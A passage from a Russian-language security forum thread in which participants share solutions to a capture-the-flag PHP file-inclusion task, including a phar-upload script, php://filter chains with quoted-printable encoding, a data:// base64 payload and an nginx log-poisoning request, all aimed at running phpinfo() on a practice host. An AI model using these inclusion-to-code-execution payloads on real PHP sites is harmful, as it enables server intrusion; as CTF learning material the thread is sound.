content'[/COLOR][COLOR="#007700"]=>[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"data\"\r\n\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]substr[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pharBin[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]strlen[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$stopper[/COLOR][COLOR="#007700"])) .[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].
[/COLOR][COLOR="#DD0000"]"--"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$boundary[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"\r\n"[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]"Content-Disposition: form-data; name=\"Save\"\r\n\r\nSave\r\n"[/COLOR][COLOR="#007700"],
],
]);

echo[/COLOR][COLOR="#0000BB"]file_get_contents[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$context[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR] 

Запуск
php -d phar.readonly=off test.php
Шел тут:
Код:

http://task.antichat.com:10007/index.php?page=phar://db/info.php/login.php

Цитата:

Сообщение от nix_security

Привет! Есть 1й способ)
Через прямой доступ к скрипту view.php мы можем записывать данные в обход авторизации. Запишем следующее:
Код:

=3C=3Fphpinfo();
Таким образом, файл db/info.php примет вид:
Код:

=3C=3Fphpinfo();
Для вызова php-кода воспользуемся враппером php://. Payload примет вид:
Код:

GET  /index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Через разделитель "| " можно указывать произвольное количестов фильтров. Фильтр strip_tags мы используем, чтобы удалить существующие php теги стоппера. Фильтр quoted-printable-decode - декодирует наш пэйлод (кодировали в quoted-printable чтобы защитить его от strip_tags). И наконец, login.php - несуществующий фильтр, который мы используем для байпаса проверки.
PS Спасбо за таск. Буду думать над вторым и третьим способами решения.

Цитата:

Сообщение от BenderMR

Привет. Вот первый метод:
1) php://
В начале идем на
Код:

http://task.antichat.com:10007/index.php?page=view.php
и делаем пост с такой строкой
Код:

=3C=3Fphp phpinfo();
потом вызываем db/info.php с такими фильтрами:
Код:

http://task.antichat.com:10007/index.php?page=php://filter/read=string.strip_tags|convert.quoted-printable-decode|login.php/resource=db/info.php
Как результат получаем phpinfo()

Цитата:

Сообщение от manfromkz

Привет
Пока нашел самый легкий способ, остальные видимо надо глубже копать. Пишем в info.php
Код:


Далее вызываем
Код:

http://task.antichat.com:10007/index.php?page=php://filter/string.rot13/view.php/resource=db/info.php

Цитата:

Сообщение от danilkib95

Payload: =3C=3Fphp phpinfo=28=29=3B =3F=3E
Request:
http://task.antichat.com:10007/inde...table-decode|login.php/resource=./db/info.php
Серьезно ??? это считается простой первый флаг ?)

Цитата:

Сообщение от IvanV

Хай, задание конечно интересное, привет из 2012? Жаль что уже такое не встретишь.
URL:
http://task.antichat.com:10007/inde...uoted-printable-decode/resource=./db/info.php
payload: =3c=3fphp phpinfo=28=29=3b =3f=3e

По факту - справились с заданием, это очень хорошо.

Трое прошли полностью.

=HALK= прошел без подсказок и, скорее всего, без особого напряга.

Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение.

Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования zip-архивов". Там даже crc нет, контролируется только размер.

Вообще, все молодцы!

Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза.

И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.

BabaDook 01.06.2019 13:45

Paradox iz yandex

Раrаdох 02.06.2019 03:13

Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание

topthing 02.06.2019 12:16

С zip действителньо интересно. Хороший таск.

BabaDook 03.06.2019 04:02

Цитата:

Сообщение от quite gray
quite gray said:

Не вижу в списках решивших на отлично Task 7 ника BabaDook. Почему?

не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск.

п.с. даже если бы решил, то я прошу не разглашать это.

=HALK= 05.06.2019 12:17

хороший тамада и конкурсы интересные

crlf 08.06.2019 20:28

+ варианты сферических коней

Код:

allow_url_include = On
http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php

Код:

curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log


Тот_самый_Щуп 08.06.2019 23:28

Цитата:

Сообщение от crlf

+ варианты сферических коней
Код:

curl 'http://task7/?'
http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log


Вообще по красоте исполнил.

А враппер compress.zlib:// кто нибудь интересно осилил?

У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов.

С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.

dooble 09.06.2019 08:58

Цитата:

Сообщение от Gorbachev

ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.

Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично.

Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.


Время: 03:19